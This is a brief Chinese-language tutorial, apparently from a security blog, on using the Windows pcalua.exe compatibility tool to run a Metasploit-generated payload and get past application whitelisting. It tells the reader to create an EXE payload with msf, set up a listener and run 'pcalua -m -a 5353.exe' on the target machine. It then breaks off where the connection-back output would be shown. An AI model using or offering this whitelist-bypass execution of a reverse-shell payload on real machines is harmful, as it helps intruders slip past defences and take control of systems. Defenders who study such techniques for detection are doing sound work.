白名单执行payload之pcalua

简介

Windows进程兼容性助理(Program Compatibility Assistant)的一个组件

已添加环境变量，路径如下：
C:WindowsSystem32pcalua.exe

实际使用

msf生成exepayload，并进行监听，进入目标机器执行如下：
pcalua -m -a 5353.exe

确认上线如下：